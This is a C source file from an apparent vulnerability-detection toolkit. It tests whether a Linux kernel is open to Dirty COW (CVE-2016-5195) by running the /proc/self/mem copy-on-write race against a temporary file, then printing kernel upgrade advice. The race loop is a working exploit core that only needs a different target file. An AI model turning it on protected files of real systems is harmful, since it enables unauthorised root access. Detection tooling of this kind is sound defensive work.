cve-toolkit

CVE helper toolkit
git clone git://git.finwo.net/app/cve-toolkit
Log | Files | Refs | README | LICENSE

cve-2016-5195-procmem.c (5473B)


      1 /*
      2  * CVE-2016-5195 — Dirty COW (/proc/self/mem variant)
      3  *
      4  * The kernel's get_user_pages() in a copy-on-write race allows an
      5  * unprivileged user to write to read-only memory mappings that are backed
      6  * by a file.  This detector uses the /proc/self/mem write variant.
      7  *
      8  * Architecture (follows upstream dirtyc0w.c):
      9  *   - A temp file is filled with known bytes.
     10  *   - It is mapped MAP_PRIVATE|PROT_READ.
     11  *   - Thread 1: continuously calls madvise(MADV_DONTNEED) on the mapping.
     12  *   - Thread 2 (main): repeatedly seeks /proc/self/mem to the mapping's
     13  *     address and writes the poison byte.
     14  *   - After both threads finish, the file is read via pread to check
     15  *     whether the page cache was corrupted.
     16  *
     17  * Safe testing: creates a temporary file, attempts the COW page-cache
     18  * corruption, verifies the byte was overwritten in the cache, then
     19  * removes the temp file — leaving no system state modified.
     20  *
     21  * References:
     22  *   https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs
     23  *   https://github.com/dirtycow/dirtycow.github.io/blob/master/dirtyc0w.c
     24  */
     25 #define _GNU_SOURCE
     26 #include <errno.h>
     27 #include <fcntl.h>
     28 #include <pthread.h>
     29 #include <stdint.h>
     30 #include <stdio.h>
     31 #include <stdlib.h>
     32 #include <string.h>
     33 #include <sys/mman.h>
     34 #include <sys/stat.h>
     35 #include <sys/types.h>
     36 #include <unistd.h>
     37 
     38 #include "setup.h"
     39 
     40 /* Matches upstream: madvise(map, 100, MADV_DONTNEED) */
     41 #define MAP_SIZE   100
     42 #define MAGIC_ORIG 'X'
     43 #define MAGIC_COW  'Z'
     44 
     45 /* Number of lseek+write iterations per thread.
     46  * Upstream dirtyc0w.c uses 100 000 000.
     47  * We use a smaller count since we only need to detect — not fully
     48  * exploit — and we poll the page cache between iterations. */
     49 #define MAX_ATTEMPTS 1000
     50 
     51 static char        *g_map;
     52 static volatile int g_hit = 0;
     53 
     54 /*
     55  * madvise thread — continuously discards the page so the next access
     56  * triggers a page fault, which races against the /proc/self/mem write.
     57  * Mirrors upstream dirtyc0w.c madviseThread().
     58  */
     59 static void *madvise_thread(void *arg) {
     60   (void)arg;
     61   for (int i = 0; i < MAX_ATTEMPTS && !g_hit; i++) {
     62     madvise(g_map, MAP_SIZE, MADV_DONTNEED);
     63     /* force page fault */
     64     __asm__ volatile("" ::: "memory");
     65     (void)*g_map;
     66   }
     67   return NULL;
     68 }
     69 
     70 int detector_cve_2016_5195_procmem(struct cve_context *ctx) {
     71   int fd     = -1;
     72   int mem_fd = -1;
     73   int result = 0;
     74 
     75   /* 1. Create temp file with known bytes */
     76   char path[] = "/tmp/.cve_2016_5195_pm_XXXXXX";
     77   fd          = mkstemp(path);
     78   if (fd < 0) {
     79     if (ctx && ctx->verbose) fprintf(stderr, "[dirtycow-procmem] mkstemp: %s\n", strerror(errno));
     80     return 0;
     81   }
     82   unlink(path); /* fd keeps it alive */
     83 
     84   char buf[MAP_SIZE];
     85   memset(buf, MAGIC_ORIG, sizeof(buf));
     86   if (write(fd, buf, sizeof(buf)) != sizeof(buf)) {
     87     close(fd);
     88     return 0;
     89   }
     90   fsync(fd);
     91 
     92   /* 2. Map read-only, private (COW) — same as upstream */
     93   g_map = mmap(NULL, MAP_SIZE, PROT_READ, MAP_PRIVATE, fd, 0);
     94   if (g_map == MAP_FAILED) {
     95     close(fd);
     96     return 0;
     97   }
     98 
     99   /* Sanity: verify original content */
    100   for (int i = 0; i < MAP_SIZE; i++) {
    101     if (g_map[i] != MAGIC_ORIG) {
    102       munmap(g_map, MAP_SIZE);
    103       close(fd);
    104       return 0;
    105     }
    106   }
    107 
    108   /* 3. Open /proc/self/mem for writing */
    109   mem_fd = open("/proc/self/mem", O_RDWR);
    110   if (mem_fd < 0) {
    111     if (ctx && ctx->verbose) fprintf(stderr, "[dirtycow-procmem] open(/proc/self/mem): %s\n", strerror(errno));
    112     munmap(g_map, MAP_SIZE);
    113     close(fd);
    114     return 0;
    115   }
    116 
    117   /*
    118    * 4. Two-thread race — mirrors upstream dirtyc0w.c:
    119    *    Thread A (madviseThread): madvise + fault in a loop
    120    *    Thread B (main):          lseek + write to /proc/self/mem
    121    *
    122    * We also poll the page cache (via pread) between write attempts
    123    * so we can stop early if the race is won.
    124    */
    125   pthread_t thr;
    126   if (pthread_create(&thr, NULL, madvise_thread, NULL) != 0) {
    127     close(mem_fd);
    128     munmap(g_map, MAP_SIZE);
    129     close(fd);
    130     return 0;
    131   }
    132 
    133   char cow_byte = MAGIC_COW;
    134   for (int attempt = 0; attempt < MAX_ATTEMPTS && !g_hit; attempt++) {
    135     /* Reset file pointer to the mapping's virtual address */
    136     if (lseek(mem_fd, (off_t)(uintptr_t)g_map, SEEK_SET) < 0) continue;
    137 
    138     if (write(mem_fd, &cow_byte, 1) == 1) {
    139       /*
    140        * Check page cache via pread — this bypasses the COW
    141        * mapping and reads the actual cached page.  If the race
    142        * was won, the page cache will contain MAGIC_COW.
    143        */
    144       char cb;
    145       if (pread(fd, &cb, 1, 0) == 1 && cb == MAGIC_COW) {
    146         g_hit  = 1;
    147         result = 1;
    148         if (ctx && ctx->verbose)
    149           fprintf(stderr,
    150                   "[dirtycow-procmem] VULNERABLE: page cache "
    151                   "corrupted via /proc/self/mem (attempt %d)\n",
    152                   attempt + 1);
    153       }
    154     }
    155   }
    156 
    157   /* 5. Wait for madvise thread to finish and clean up */
    158   pthread_join(thr, NULL);
    159   close(mem_fd);
    160   munmap(g_map, MAP_SIZE);
    161   close(fd);
    162 
    163   return result;
    164 }
    165 
    166 __attribute__((constructor)) void detector_cve_2016_5195_procmem_setup(void) {
    167   detector_queue_append("CVE-2016-5195/procmem", "dirtycow",
    168                         "Update the Linux kernel to >= 4.8.3 / 4.7.9 / 4.4.26 or later.\n"
    169                         "  The fix is commit 19be0eaffa3ac7d8eb6784ad9bdbc7d67ed8e619.\n"
    170                         "  This variant does not require ptrace and works even when\n"
    171                         "  kernel.yama.ptrace_scope >= 1.",
    172                         detector_cve_2016_5195_procmem);
    173 }